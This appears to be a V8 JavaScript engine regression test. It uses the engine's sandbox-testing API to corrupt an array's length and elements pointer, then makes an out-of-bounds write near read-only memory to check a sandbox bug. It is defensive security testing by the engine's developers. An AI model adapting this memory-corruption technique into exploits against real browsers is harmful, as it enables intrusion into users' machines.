32 lines
1.3 KiB
JavaScript
32 lines
1.3 KiB
JavaScript
|
// Copyright 2024 the V8 project authors. All rights reserved.
|
||
|
|
// Use of this source code is governed by a BSD-style license that can be
|
||
|
|
// found in the LICENSE file.
|
||
|
|
//
|
||
|
|
// Flags: --expose-gc --sandbox-testing
|
||
|
|
|
||
|
|
const kJSArrayType = Sandbox.getInstanceTypeIdFor("JS_ARRAY_TYPE");
|
||
|
|
const kJSArrayLengthOffset = Sandbox.getFieldOffset(kJSArrayType, "length");
|
||
|
|
const kJSArrayElementsOffset = Sandbox.getFieldOffset(kJSArrayType, "elements");
|
||
|
|
|
||
|
|
const memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
|
||
|
|
|
||
|
|
// Allocate an array and promote it to the old generation.
|
||
|
|
const array = Array();
|
||
|
|
gc();
|
||
|
|
// Allocate a value in the young generation.
|
||
|
|
const value = new Number();
|
||
|
|
|
||
|
|
// Corrupt the JSArray such that
|
||
|
|
// 1. It's length becomes very large, allowing OOB writes
|
||
|
|
// 2. It's backing FixedArray points to 0x0, in RO space
|
||
|
|
let array_addr = Sandbox.getAddressOf(array);
|
||
|
|
memory.setUint32(array_addr + kJSArrayLengthOffset, 0x7ffffffe, true);
|
||
|
|
memory.setUint32(array_addr + kJSArrayElementsOffset, 0x1, true);
|
||
|
|
|
||
|
|
// OOB write to the JS array such that the write happens on a writable page
|
||
|
|
// even though the host object (supposedly a FixedArray) lives in RO space.
|
||
|
|
assertFalse(Sandbox.isWritableObjectAt(0));
|
||
|
|
assertTrue(Sandbox.isWritableObjectAt(1024 * 1024));
|
||
|
|
let index = (1024 * 1024) / 4;
|
||
|
|
array[index] = value;
|